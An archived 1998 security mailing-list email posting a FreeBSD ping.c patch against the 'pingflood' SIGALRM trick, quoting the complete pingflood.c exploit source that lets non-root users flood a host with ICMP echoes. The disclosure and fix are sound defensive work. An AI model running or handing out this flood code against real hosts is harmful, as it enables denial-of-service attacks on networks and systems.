Date: Fri, 15 May 1998 19:45:42 -0500 (CDT) From: Jason Young <doogie@forbidden-donut.anet-stl.com> To: AntireZ <md5330@MCLINK.IT> Cc: BUGTRAQ@NETSPACE.ORG, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pingflood.c Message-ID: <Pine.BSF.3.96.980515193936.5796C-100000@forbidden-donut.anet-stl.com> In-Reply-To: <352CAAE8.CC902ABA@mclink.it>
next in thread | previous in thread | raw e-mail | index | archive | help
-----BEGIN PGP SIGNED MESSAGE----- This patch for FreeBSD's ping seems to defeat the SIGALRM flood exploit. I suspect it applies to all the other *BSD's as well. I have done only MINIMAL testing, so comments and other fixes are welcome. Jason Young ANET Chief Network Engineer *** ping.c Fri Mar 6 07:07:12 1998 - --- ping.c.new Fri May 15 19:40:23 1998 *************** *** 158,167 **** - --- 158,168 ---- double tsumsq = 0.0; /* sum of all times squared, for std. dev. */ volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish up */ int reset_kerninfo; volatile sig_atomic_t siginfo_p; + volatile time_t lasttime; static void fill(char *, char *); static u_short in_cksum(u_short *, int); static void catcher(int sig); static void check_status(void); *************** *** 209,218 **** - --- 210,220 ---- setuid(getuid()); uid = getuid(); preload = 0; + lasttime = 0; datap = &outpack[8 + sizeof(struct timeval)]; while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) { switch(ch) { case 'a': *************** *** 518,540 **** static void catcher(int sig) { int waittime; struct sigaction si_sa; ! pinger(); if (!npackets || ntransmitted < npackets) (void)alarm((u_int)interval); else { - - if (nreceived) { - - waittime = 2 * tmax / 1000; - - if (!waittime) - - waittime = 1; - - } else - - waittime = MAXWAIT; - - si_sa.sa_handler = stopit; sigemptyset(&si_sa.sa_mask); si_sa.sa_flags = 0; if (sigaction(SIGALRM, &si_sa, 0) == -1) { finish_up = 1; - --- 520,551 ---- static void catcher(int sig) { int waittime; struct sigaction si_sa; + time_t timenow; ! if (nreceived) { ! waittime = 2 * tmax / 1000; ! if (!waittime) ! waittime = 1; ! } else ! waittime = MAXWAIT; ! ! /* Die if SIGALRM is caught earlier than it should have been. This ! * is usually the result of someone sending thousands of SIGALRMs ! * in an attempt to simulate a ping -f (flood). ! */ ! ! if(time((time_t *)&timenow) < lasttime + waittime) exit(0); ! lasttime = timenow; + pinger(); + if (!npackets || ntransmitted < npackets) (void)alarm((u_int)interval); else { si_sa.sa_handler = stopit; sigemptyset(&si_sa.sa_mask); si_sa.sa_flags = 0; if (sigaction(SIGALRM, &si_sa, 0) == -1) { finish_up = 1; - ----- On Thu, 9 Apr 1998, AntireZ wrote: > /* > > pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it> > enhanced by David Welton <davidw@cks.com> > I tested it only on Linux RedHat 4.1 and 5.0. > David Welton tested it on Debian GNU/Linux and OpenBSD reporting > it works. > This program is free software; you can redistribute it and/or modify > it under the terms of the GNU General Public License as published by > the Free Software Foundation; version 2 of the License. > > > ------------------------------------------------------------------------- > > pingflood.c allows non-root users to 'ping flood'. > > use it as follows: > > pingflood <hostname> > > WARNING: this program is only for demonstrative use only. USE IT AT > YOUR > OWN RISK! The authors decline all responsibility for > damage caused by misuse of the program. > > *** if you use this program to cause harm to others, you are very > small, petty and pathetic. *** > > to compile: gcc -o pingflood pingflood.c > > > ------------------------------------------------------------------------- > > TECHNICAL NOTES > > When ping runs it normally sends an ICMP ECHO_REQUEST every second. > It accomplishes this using the alarm system call and waiting for a > SIGALRM > signal > from the kernel. > Pingflood simply sends a lot of SIGALRM signals to the ping process. > It can > do this because the ping process is owned by the user. > > > Salvatore Sanfilippo > > */ > > #include <signal.h> > > #define PING "/bin/ping" > > main( int argc, char *argv[] ) > { > int pid_ping; > > if (argc < 2) { > printf("use: %s <hostname>\n", argv[0]); > exit(0); > } > > if(!(pid_ping = fork())) > execl(PING, "ping", argv[1], NULL); > > if ( pid_ping <=0 ) { > printf("pid <= 0\n"); > exit(1); > } > > sleep (1); /* give it a second to start going */ > while (1) > if ( kill(pid_ping, SIGALRM) ) > exit(1); > } > -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBNVzhuKInE6ybC66VAQHkQQL/WP9ceHcc26zk+Dl9vHh2E08V16CMWsmi wqVI7M69I9IgQ5Nl6Lz+7YOjJOIswQlM/SPispjfVFs3Y8WYB0z52OEM78Di0MDk j/G0rgShagXwOsSWpkiFEB0sQWRnpc52 =BJzp -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.3.96.980515193936.5796C-100000>